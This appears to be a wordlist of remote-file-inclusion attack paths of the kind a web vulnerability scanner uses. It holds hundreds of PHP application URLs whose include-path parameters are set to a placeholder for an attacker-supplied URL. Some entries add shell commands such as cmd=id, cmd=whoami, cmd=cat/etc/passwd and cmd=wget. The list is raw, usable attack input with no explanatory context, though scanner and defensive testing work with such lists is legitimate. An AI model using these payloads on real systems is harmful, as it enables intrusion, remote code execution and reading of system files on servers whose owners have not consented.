/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=XXpathXX
/axoverzicht.cgi?maand=XXpathXX
/b2-tools/gm-2-b2.php?b2inc=XXpathXX
/b2verifauth.php?index=XXpathXX?
/backend/addons/links/index.php?PATH=XXpathXX
/basebuilder/src/main.inc.php?mj_config[src_path]=XXpathXX???
/bb_admin.php?includeFooter=XXpathXX
/beacon/language/1/splash.lang.php?languagePath=XXpathXX
/beacon/language/1/splash.lang.php?languagePath=XXpathXX?
/belegungsplan/jahresuebersicht.inc.php?root=XXpathXX
/belegungsplan/monatsuebersicht.inc.php?root=XXpathXX
/belegungsplan/tagesuebersicht.inc.php?root=XXpathXX
/belegungsplan/wochenuebersicht.inc.php?root=XXpathXX
/bemarket/postscript/postscript.php?p_mode=XXpathXX
/biblioteca/bib_form.php?CLASSPATH=XXpathXX
/biblioteca/bib_pldetails.php?CLASSPATH=XXpathXX
/biblioteca/bib_plform.php?CLASSPATH=XXpathXX
/biblioteca/bib_plsearchc.php?CLASSPATH=XXpathXX
/biblioteca/bib_plsearchs.php?CLASSPATH=XXpathXX
/biblioteca/bib_save.php?CLASSPATH=XXpathXX
/biblioteca/bib_searchc.php?CLASSPATH=XXpathXX
/biblioteca/bib_searchs.php?CLASSPATH=XXpathXX
/biblioteca/edi_form.php?CLASSPATH=XXpathXX
/biblioteca/edi_save.php?CLASSPATH=XXpathXX
/biblioteca/gen_form.php?CLASSPATH=XXpathXX
/biblioteca/gen_save.php?CLASSPATH=XXpathXX
/biblioteca/lin_form.php?CLASSPATH=XXpathXX
/biblioteca/lin_save.php?CLASSPATH=XXpathXX
/biblioteca/luo_form.php?CLASSPATH=XXpathXX
/biblioteca/luo_save.php?CLASSPATH=XXpathXX
/biblioteca/sog_form.php?CLASSPATH=XXpathXX
/biblioteca/sog_save.php?CLASSPATH=XXpathXX
/bigace/addon/smarty/plugins/function.captcha.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX
/bigace/system/admin/plugins/menu/menuTree/plugin.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
/bigace/system/application/util/item_information.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
/bigace/system/application/util/jstree.php?GLOBALS[_BIGACE][DIR][admin]=XXpathXX?
/bigace/system/classes/sql/AdoDBConnection.php?GLOBALS[_BIGACE][DIR][addon]=XXpathXX?
/bild.php?config[root_ordner]=XXpathXX?&cmd=id
/bin/qte_init.php?qte_root=XXpathXX?
/bingoserver.php3?response_dir=XXpathXX
/block.php?Include=XXpathXX
/blocks/birthday.php?full_path=XXpathXX
/blocks/events.php?full_path=XXpathXX
/blocks/help.php?full_path=XXpathXX
/blogcms/admin/media.php?DIR_LIBS=XXpathXX?
/blogcms/admin/xmlrpc/server.php?DIR_LIBS=XXpathXX?
/blogcms/index.php?DIR_PLUGINS=XXpathXX?
/board/post.php?qb_path=XXpathXX
/boitenews4/index.php?url_index=XXpathXX?
/books/allbooks.php?home=XXpathXX
/books/home.php?home=XXpathXX
/books/mybooks.php?home=XXpathXX
/bp_ncom.php?bnrep=XXpathXX
/bp_ncom.php?bnrep=XXpathXX?
/bp_news.php?bnrep=XXpathXX
/bridge/enigma/E2_header.inc.php?boarddir=XXpathXX?
/bridge/yabbse.inc.php?sourcedir=XXpathXX
/bridges/SMF/logout.php?path_to_smf=XXpathXX
/bu/bu_cache.php?bu_dir=XXpathXX?
/bu/bu_claro.php?bu_dir=XXpathXX?
/bu/bu_parse.php?bu_dir=XXpathXX?
/bu/process.php?bu_dir=XXpathXX?
/buddy.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/builddb.php?env_dir=XXpathXX
/button/settings_sql.php?path=XXpathXX
/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=XXpathXX?
/cal.func.php?dir_edge_lang=XXpathXX
/calcul-page.php?home=XXpathXX
/calendar.php?cfg_dir=XXpathXX?
/calendar.php?lang=XXpathXX
/calendar.php?path_to_calendar=XXpathXX
/calendar.php?vwar_root=XXpathXX?
/calendar/demo/index.php?date=&v=XXpathXX?
/calendar/payment.php?insPath=XXpathXX
/calendario/cal_insert.php?CLASSPATH=XXpathXX
/calendario/cal_save.php?CLASSPATH=XXpathXX
/calendario/cal_saveactivity.php?CLASSPATH=XXpathXX
/cart.php?lang_list=XXpathXX
/cart_content.php?cart_isp_root=XXpathXX
/catalogg/inludes/include_once.php?include_file=XXpathXX
/catalogshop.php?mosConfig_absolute_path=XXpathXX
/cdsagenda/modification/SendAlertEmail.php?AGE=XXpathXX?
/cfagcms/themes/default/index.php?main=XXpathXX
/ch_readalso.php?read_xml_include=XXpathXX
/challenge.php?vwar_root=XXpathXX
/change_preferences2.php?target=XXpathXX?
/chat.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/chat.php?my[root]=XXpathXX?cm=id
/chat/adminips.php?banned_file=XXpathXX
/chat/users_popupL.php3?From=XXpathXX
/checkout.php?abs_path=XXpathXX
/checkout.php?abs_path=XXpathXX?
/ciamos_path/modules/forum/include/config.php?module_cache_path='XXpathXX'
/circ.php?include_path=XXpathXX?
/circolari/cir_save.php?CLASSPATH=XXpathXX
/citywriter/head.php?path=XXpathXX?
/cl_files/index.php?path_to_calendar=XXpathXX?
/claroline/auth/ldap/authldap.php?includePath=XXpathXX
/claroline/phpbb/page_tail.php?includePath=XXpathXX
/claroline180rc1/claroline/inc/lib/import.lib.php?includePath=XXpathXX?
/class.mysql.php?path_to_bt_dir=XXpathXX
/class/Wiki/Wiki.php?c_node[class_path]=XXpathXX
/class/jpcache/jpcache.php?_PSL[classdir]=XXpathXX?exec=uname
/class/php/d4m_ajax_pagenav.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/classes/Auth/OpenID/Association.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/BigMath.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/DiffieHellman.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/DumbStore.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/Extension.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/FileStore.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/HMAC.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/MemcachedStore.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/Message.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/Nonce.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/SQLStore.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/SReg.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/TrustRoot.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/OpenID/URINorm.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/Yadis/XRDS.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/Yadis/XRI.php?_ENV[asicms][path]=XXpathXX
/classes/Auth/Yadis/XRIRes.php?_ENV[asicms][path]=XXpathXX
/classes/Cache.class.php?rootdir=XXpathXX?
/classes/Customer.class.php?rootdir=XXpathXX?
/classes/Performance.class.php?rootdir=XXpathXX?
/classes/Project.class.php?rootdir=XXpathXX?
/classes/Representative.class.php?rootdir=XXpathXX?
/classes/User.class.php?rootdir=XXpathXX?
/classes/admin_o.php?absolutepath=XXpathXX
/classes/adodbt/sql.php?classes_dir=XXpathXX
/classes/adodbt/sql.php?classes_dir=XXpathXX?
/classes/board_o.php?absolutepath=XXpathXX
/classes/class_admin.php?PathToComment=XXpathXX?
/classes/class_comments.php?PathToComment=XXpathXX?
/classes/class_mail.inc.php?path_to_folder=XXpathXX
/classes/common.php?rootdir=XXpathXX?
/classes/core/language.php?rootdir=XXpathXX
/classes/dev_o.php?absolutepath=XXpathXX
/classes/file_o.php?absolutepath=XXpathXX
/classes/html/com_articles.php?absolute_path=XXpathXX
/classes/phpmailer/class.cs_phpmailer.php?classes_dir=XXpathXX
/classes/query.class.php?baseDir=XXpathXX
/classes/tech_o.php?absolutepath=XXpathXX
/classified.php?insPath=XXpathXX
/classified_right.php?language_dir=XXpathXX
/classifieds/index.php?lowerTemplate=XXpathXX
/clear.php?bibtexrootrel=XXpathXX?
/clearinfo.php?bibtexrootrel=XXpathXX?
/click.php?dir=XXpathXX?
/client.php?dir=XXpathXX
/client/faq_1/PageController.php?dir=XXpathXX
/clients/index.php?src=XXpathXX
/cls_fast_template.php?fname=XXpathXX
/cm68news/engine/oldnews.inc.php?addpath=XXpathXX?&
/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=XXpathXX?
/cms/meetweb/classes/ManagerResource.class.php?root_path=XXpathXX
/cms/meetweb/classes/ManagerRightsResource.class.php?root_path=XXpathXX
/cms/meetweb/classes/RegForm.class.php?root_path=XXpathXX
/cms/meetweb/classes/RegResource.class.php?root_path=XXpathXX
/cms/meetweb/classes/RegRightsResource.class.php?root_path=XXpathXX
/cms/meetweb/classes/modules.php?root_path=XXpathXX
/cms/modules/form.lib.php?sourceFolder=XXpathXX?
/cms/system/openengine.php?oe_classpath=XXpathXX???
/cmsimple2_7/cmsimple/cms.php?pth['file']['config']=XXpathXX?
/cn_config.php?tpath=XXpathXX?
/coast/header.php?sections_file=XXpathXX?
/code/berylium-classes.php?beryliumroot=XXpathXX?
/code/display.php?admindir=XXpathXX?
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=XXpathXX
/com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=XXpathXX?
/com_media_library/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
/com_realestatemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
/com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=XXpathXX?
/comments.php?AMG_serverpath=XXpathXX
/comments.php?scriptpath=XXpathXX?
/common.inc.php?CFG[libdir]=XXpathXX
/common.inc.php?CFG[libdir]=XXpathXX?
/common.inc.php?base_path=XXpathXX
/common.php?db_file=XXpathXX
/common.php?dir=XXpathXX
/common.php?ezt_root_path=XXpathXX?
/common.php?include_path=XXpathXX
/common.php?livealbum_dir=XXpathXX?
/common.php?locale=XXpathXX
/common.php?phpht_real_path=XXpathXX?
/common/db.php?commonpath=XXpathXX?
/common/func.php?CommonAbsD=XXpathXX?
/common/func.php?CommonAbsDir=XXpathXX
/community/Offline.php?sourcedir=XXpathXX?
/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=XXpathXX
/components/calendar/com_calendar.php?absolute_path=XXpathXX?
/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=XXpathXX
/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=XXpathXX
/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=XXpathXX
/components/com_articles.php?absolute_path=XXpathXX?
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=XXpathXX
/components/com_calendar.php?absolute_path=XXpathXX?
/components/com_cpg/cpg.php?mosConfig_absolute_path=XXpathXX?
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=XXpathXX
/components/com_facileforms/facileforms.frame.php?ff_compath=XXpathXX
/components/com_forum/download.php?phpbb_root_path=XXpathXX
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=XXpathXX
/components/com_guestbook.php?absolute_path=XXpathXX?
/components/com_hashcash/server.php?mosConfig_absolute_path=XXpathXX?
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=XXpathXX
/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path=XXpathXX
/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path=XXpathXX
/components/com_joomlaboard/file_upload.php?sbp=XXpathXX?
/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=XXpathXX?
/components/com_lm/archive.php?mosConfig_absolute_path=XXpathXX?
/components/com_mambowiki/MamboLogin.php?IP=XXpathXX?
/components/com_minibb.php?absolute_path=XXpathXX
/components/com_mosmedia/media.divs.php?mosConfig_absolute_path=XXpathXX
/components/com_mosmedia/media.tab.php?mosConfig_absolute_path=XXpathXX
/components/com_mospray/scripts/admin.php?basedir=XXpathXX?&cmd=id
/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=XXpathXX
/components/com_mp3_allopass/allopass.php?mosConfig_live_site=XXpathXX
/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=XXpathXX?
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=XXpathXX
/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX
/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=XXpathXX
/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=XXpathXX
/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=XXpathXX
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=XXpathXX?
/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=XXpathXX
/components/com_smf/smf.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=XXpathXX
/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=XXpathXX
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=XXpathXX
/components/core/connect.php?language_path=XXpathXX
/components/minibb/bb_plugins.php?absolute_path=XXpathXX?
/components/minibb/index.php?absolute_path=XXpathXX?
/components/xmlparser/loadparser.php?absoluteurl=XXpathXX
/compteur/mapage.php?chemin=XXpathXX
/conf.php?securelib=XXpathXX
/conf.php?securelib=XXpathXX?
/config.inc.php3?rel_path=XXpathXX
/config.inc.php?_path=XXpathXX
/config.inc.php?path_escape=XXpathXX
/config.inc.php?path_escape=XXpathXX%00
/config.php?full_path=XXpathXX?
/config.php?full_path_to_db=XXpathXX
/config.php?fullpath=XXpathXX
/config.php?incpath=XXpathXX
/config.php?path_to_root=XXpathXX
/config.php?rel_path=XXpathXX?
/config.php?returnpath=XXpathXX
/config.php?sql_language=XXpathXX?
/config.php?xcart_dir=XXpathXX?
/config/config_admin.php?INC=XXpathXX?
/config/config_main.php?INC=XXpathXX?
/config/config_member.php?INC=XXpathXX?
/config/dbutil.bck.php?confdir=XXpathXX
/config/mysql_config.php?INC=XXpathXX?
/config/sender.php?ROOT_PATH=XXpathXX?
/configuration.php?absolute_path=XXpathXX?
/confirmUnsubscription.php?output=XXpathXX
/connect.php?path=XXpathXX
/connexion.php?DOCUMENT_ROOT=XXpathXX?
/contact.php?blog_theme=XXpathXX
/contacts.php?cal_dir=XXpathXX
/contenido/external/frontend/news.php?cfg[path][includes]=XXpathXX
/content.php?content=XXpathXX
/content/admin.php?pwfile=XXpathXX
/content/content.php?fileloc=XXpathXX?
/content/delete.php?pwfile=XXpathXX
/content/modify.php?pwfile=XXpathXX
/content/modify_go.php?pwfile=XXpathXX
/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=XXpathXX
/contrib/mx_glance_sdesc.php?mx_root_path=XXpathXX
/contrib/phpBB2/modules.php?phpbb_root_path=XXpathXX?
/controllers/MySQLController.php?baseDir=XXpathXX
/controllers/SQLController.php?baseDir=XXpathXX
/controllers/SetupController.php?baseDir=XXpathXX
/controllers/VideoController.php?baseDir=XXpathXX
/controllers/ViewController.php?baseDir=XXpathXX
/convert-date.php?cal_dir=XXpathXX
/convert/mvcw.php?step=1&vwar_root=XXpathXX
/convert/mvcw.php?vwar_root=XXpathXX
/core/admin/admin.php?p=admin&absoluteurlXXpathXX
/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurlXXpathXX
/core/admin/categories_add.php?absoluteurlXXpathXX
/core/admin/categories_remove.php?absoluteurlXXpathXX
/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurlXXpathXX
/core/admin/editdel.php?p=admin&absoluteurlXXpathXX
/core/admin/ftpfeature.php?p=admin&absoluteurlXXpathXX
/core/admin/login.php?absoluteurlXXpathXX
/core/admin/pgRSSnews.php?absoluteurlXXpathXX
/core/admin/showcat.php?absoluteurlXXpathXX
/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurlXXpathXX
/core/archive_cat.php?absoluteurlXXpathXX
/core/archive_nocat.php?absoluteurlXXpathXX
/core/aural.php?site_absolute_path=XXpathXX
/core/aural.php?site_absolute_path=XXpathXX?&cmd=dir
/core/editor.php?editor_insert_bottom=XXpathXX
/core/includes.php?CMS_ROOT=XXpathXX?
/core/recent_list.php?absoluteurlXXpathXX
/corpo.php?pagina=XXpathXX
/cp2.php?securelib=XXpathXX?
/cpe/index.php?repertoire_config=XXpathXX
/crea.php?plancia=XXpathXX
/creacms/_administration/edition_article/edition_article.php?cfg[document_uri]=XXpathXX?
/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=XXpathXX?
/creat_news_all.php?language=XXpathXX
/create_file.php?target=XXpathXX?
/cron.php?ROOT_PATH=XXpathXX
/cron.php?include_path=XXpathXX?
/crontab/run_billing.php?config[include_dir]=XXpathXX?
/cross.php?url=XXpathXX
/custom_vars.php?sys[path_addon]=XXpathXX
/customer/product.php?xcart_dir=XXpathXX
/cwb/comanda.php?INCLUDE_PATH=XXpathXX?
/datei.php?config[root_ordner]=XXpathXX?&cmd=id
/db/PollDB.php?CONFIG_DATAREADERWRITER=XXpathXX?
/db/mysql/db.inc.php?SPL_CFG[dirroot]=XXpathXX?
/dbcommon/include.php?_APP_RELATIVE_PATH=XXpathXX
/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=XXpathXX
/debugger.php?config_atkroot=XXpathXX
/decoder/gallery.php?ccms_library_path=XXpathXX
/decoder/markdown.php?ccms_library_path=XXpathXX
/defaults_setup.php?ROOT_PATH=XXpathXX?cmd=ls
/defines.php?WEBCHATPATH=XXpathXX?
/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=XXpathXX&
/depouilg.php3?NomVote=XXpathXX?
/development.php?root_prefix=XXpathXX?
/dfcode.php?DFORUM_PATH=XXpathXX?
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=XXpathXX?
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=XXpathXX?
/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX
/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX?
/dialog.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/dialogs/a.php?spaw_dir=XXpathXX?&cmd=id
/dialogs/collorpicker.php?spaw_dir=XXpathXX&cmd=id
/dialogs/img.php?spaw_dir=XXpathXX?&cmd=id
/dialogs/img_library.php?spaw_dir=XXpathXX?&cmd=id
/dialogs/table.php?spaw_dir=XXpathXX?&cmd=id
/dialogs/td.php?spaw_dir=XXpathXX?&cmd=id
/digitaleye_Path/module.php?menu=XXpathXX?
/dir/prepend.php?_PX_config[manager_path]=XXpathXX
/dir_thatware/config.php?root_path=XXpathXX'
/direct.php?rf=XXpathXX
/direction/index.php?repertoire_config=XXpathXX
/directory/index.php?path=XXpathXX
/display.php?pag=XXpathXX
/display.php?path=XXpathXX
/displayCategory.php?basepath=XXpathXX
/dix.php3?url_phpartenaire=XXpathXX
/dm-albums/template/album.php?SECURITY_FILE=XXpathXX
/doc/admin/index.php?ptinclude=XXpathXX
/doceboCore/lib/lib.php?GLOBALS[where_framework]=XXpathXX
/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=XXpathXX
/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=XXpathXX
/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=XXpathXX
/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=XXpathXX
/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=XXpathXX
/docs/front-end-demo/cart2.php?workdir=XXpathXX?
/dokeos/claroline/resourcelinker/resourcelinker.inc.php?clarolineRepositorySys=XXpathXX?&cmd=wget%20XXpathXX
/dosearch.php?RESPATH=XXpathXX
/download.php?root_prefix=XXpathXX?
/download_engine_V1.4.3/addmember.php?eng_dir=XXpathXX
/download_engine_V1.4.3/admin/enginelib/class.phpmailer.php?lang_pathr=XXpathXX
/download_engine_V1.4.3/admin/includes/spaw/dialogs/colorpicker.php?spaw_root=XXpathXX
/downstat1.8/chart.php?art=XXpathXX?
/dp_logs.php?HomeDir=XXpathXX
/eXPerience2/modules.php?file=XXpathXX
/ea-gBook/index_inc.php?inc_ordner=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
/edit.php?javascript_path=XXpathXX?
/editor.php?newsfile=XXpathXX
/editprofile.php?pathtohomedir=XXpathXX?
/editsite.php?returnpath=XXpathXX
/editx/add_address.php?include_dir=XXpathXX
/elseif/contenus.php?contenus=XXpathXX
/elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=XXpathXX
/elseif/moduleajouter/articles/usrarticles.php?corpsdesign=XXpathXX
/elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=XXpathXX
/elseif/moduleajouter/depot/usrdepot.php?corpsdesign=XXpathXX
/elseif/moduleajouter/depot/usrdepot.php?corpsdesignXXpathXX
/elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=XXpathXX
/elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=XXpathXX
/elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=XXpathXX
/elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=XXpathXX
/elseif/utilisateurs/votes.php?tpelseifportalrepertoire=XXpathXX
/email_subscribe.php?root_prefix=XXpathXX?
/embed/day.php?path=XXpathXX
/enc/content.php?Home_Path=XXpathXX?
/engine/Ajax/editnews.php?root_dir=XXpathXX
/engine/api/api.class.php?dle_config_api=XXpathXX?
/engine/engine.inc.php?absolute_path=XXpathXX
/engine/init.php?root_dir=XXpathXX
/engine/require.php?MY_ENV[BASE_ENGINE_LOC]=XXpathXX?
/enth3/show_joined.php?path=XXpathXX
/environment.php?DIR_PREFIX=XXpathXX
/epal/index.php?view=XXpathXX?
/errors.php?error=XXpathXX
/errors/configmode.php?GALLERY_BASEDIR=XXpathXX
/errors/needinit.php?GALLERY_BASEDIR=XXpathXX
/errors/reconfigure.php?GALLERY_BASEDIR=XXpathXX
/errors/unconfigured.php?GALLERY_BASEDIR=XXpathXX
/es_custom_menu.php?files_dir=XXpathXX
/es_desp.php?files_dir=XXpathXX
/es_offer.php?files_dir=XXpathXX
/eshow.php?Config_rootdir=XXpathXX
/esupport/admin/autoclose.php?subd=XXpathXX?
/eva/index.php3?aide=XXpathXX?
/eva/index.php3?perso=XXpathXX
/eva/index.php?eva[caminho]=XXpathXX
/event.php?myevent_path=XXpathXX
/event_cal/module/embed/day.php?path=XXpathXX
/eventcal2.php.php?path_simpnews=XXpathXX
/eventscroller.php?path_simpnews=XXpathXX
/example-view/templates/article.php?globals[content_dir]=XXpathXX?
/example-view/templates/dates_list.php?globals[content_dir]=XXpathXX?
/example-view/templates/root.php?globals[content_dir]=XXpathXX?
/example.php?site=XXpathXX
/example/gamedemo/inc.functions.php?projectPath=XXpathXX?
/examplefile.php?bibtexrootrel=XXpathXX?
/examples/patExampleGen/bbcodeSource.php?example=XXpathXX
/exception/include.php?_APP_RELATIVE_PATH=XXpathXX
/extauth/drivers/ldap.inc.php?clarolineRepositorySys=XXpathXX
/extras/mt.php?web_root=XXpathXX
/extras/poll/poll.php?file_newsportal=XXpathXX
/ezusermanager_pwd_forgott.php?ezUserManager_Path=XXpathXX
/faq.php?module_root_path=XXpathXX
/faq.php?phpbb_root_path=XXpathXX
/fckeditor/editor/dialog/fck_link.php?dirroot=XXpathXX
/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=XXpathXX
/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?dirroot=XXpathXX?&cmd=id
/fcring.php?s_fuss=XXpathXX
/feed.php?config[root_ordner]=XXpathXX?&cmd=id
/feed/index2.php?m=XXpathXX
/files/amazon-bestsellers.php?CarpPath=XXpathXX
/files/carprss.php?CarpPath=XXpathXX
/files/compose-attach.php3?BSX_LIBDIR=XXpathXX
/files/compose-menu.php3?BSX_LIBDIR=XXpathXX
/files/compose-new.php3?BSX_LIBDIR=XXpathXX
/files/compose-send.php3?BSX_LIBDIR=XXpathXX
/files/folder-create.php3?BSX_LIBDIR=XXpathXX
/files/folder-delete.php3?BSX_LIBDIR=XXpathXX
/files/folder-empty.php3?BSX_LIBDIR=XXpathXX
/files/folder-rename.php3?BSX_LIBDIR=XXpathXX
/files/folders.php3?BSX_LIBDIR=XXpathXX
/files/login.php3?err=hack&BSX_HTXDIR=XXpathXX
/files/mainfile.php?page[path]=XXpathXX?&cmd=ls
/files/mbox-list.php3?BSX_LIBDIR=XXpathXX
/files/message-delete.php3?BSX_LIBDIR=XXpathXX
/files/message-forward.php3?BSX_LIBDIR=XXpathXX
/files/message-header.php3?BSX_LIBDIR=XXpathXX
/files/message-print.php3?BSX_LIBDIR=XXpathXX
/files/message-read.php3?BSX_LIBDIR=XXpathXX
/files/message-reply.php3?BSX_LIBDIR=XXpathXX
/files/message-replyall.php3?BSX_LIBDIR=XXpathXX
/files/message-search.php3?BSX_LIBDIR=XXpathXX
/findix/index.php?page=XXpathXX?&cmd=id
/fishcart_v3/fc_functions/fc_example.php?docroot=XXpathXX
/flushcmd/Include/editor/rich_files/class.rich.php?class_path=XXpathXX?
/fonctions/template.php?repphp=XXpathXX?
/fonctions_racine.php?chemin_lib=XXpathXX
/footer.inc.php?settings[footer]=XXpathXX
/footer.inc.php?tfooter=XXpathXX?
/footer.php?footer_file=XXpathXX
/footer.php?op[footer_body]=XXpathXX?
/form.php?path=XXpathXX?&cmd=pwd
/forum.php?cfg_file=1&fpath=XXpathXX?
/forum/forum.php?view=XXpathXX
/forum/forum82lib.php3?repertorylevel=XXpathXX?
/forum/gesfil.php?repertorylevel=XXpathXX?
/forum/lostpassword.php?repertorylevel=XXpathXX?
/forum/mail.php?repertorylevel=XXpathXX?
/forum/member.php?repertorylevel=XXpathXX?
/forum/message.php?repertorylevel=XXpathXX?
/forum/search.php?repertorylevel=XXpathXX?
/forum/track.php?path=XXpathXX
/frame.php?framefile=XXpathXX
/ftp.php?path_local=XXpathXX
/function.inc.php?path=XXpathXX
/function.php?adminfolder=XXpathXX
/function.php?gbpfad=XXpathXX
/functions.php?include_path=XXpathXX
/functions.php?pmp_rel_path=XXpathXX
/functions.php?s[phppath]=XXpathXX
/functions.php?set_path=XXpathXX?
/functions/form.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions/general.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions/groups.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions/js.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions/prepend_adm.php?SETS[path][physical]=XXpathXX
/functions/prepend_adm.php?SETS[path][physical]=XXpathXX?
/functions/sections.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions/users.func.php?GLOBALS[PTH][classes]=XXpathXX?
/functions_mod_user.php?phpbb_root_path=XXpathXX?&cmd=ls
/fusebox5.php?FUSEBOX_APPLICATION_PATH=XXpathXX
/galerie.php?config[root_ordner]=XXpathXX?cmd=id
/gallery/captionator.php?GALLERY_BASEDIR=XXpathXX
/gallery/lib/content.php?include=XXpathXX?cmd=ls
/gallery/theme/include_mode/template.php?galleryfilesdir=XXpathXX
/gallerypath/index.php?includepath=XXpathXX
/games.php?id=XXpathXX
/games.php?scoreid=XXpathXX
/gbook/includes/header.php?abspath=XXpathXX?
/gemini/page/forums/bottom.php?lang=XXpathXX?
/gen_m3u.php?phpbb_root_path=XXpathXX
/genepi.php?topdir=XXpathXX
/generate.php?ht_pfad=XXpathXX?
/gepi/gestion/savebackup.php?filename=XXpathXX&cmd=cat/etc/passwd
/gestArt/aide.php3?aide=XXpathXX?
/get_session_vars.php?path_to_smf=XXpathXX
/getpage.php?page=online&doc_path=XXpathXX
/global.php?abs_path=XXpathXX?
/gorum/dbproperty.php?appDirName=XXpathXX
/gpb/include/db.mysql.inc.php?root_path=XXpathXX?
/gpb/include/gpb.inc.php?root_path=XXpathXX?
/graph.php?DOCUMENT_ROOT=XXpathXX?
/gruppen.php?config[root_ordner]=XXpathXX?&cmd=id
/handlers/email/mod.listmail.php?_PM_[path][handle]=XXpathXX
/handlers/page/show.php?sous_rep=XXpathXX
/head.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/header.inc.php?CssFile=XXpathXX
/header.php?path=XXpathXX
/header.php?wwwRoot=XXpathXX
/help.php?CONFIG[MWCHAT_Libs]=XXpathXX?
/help/index.php?show=XXpathXX
/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX
/helperfunction.php?includedir=XXpathXX
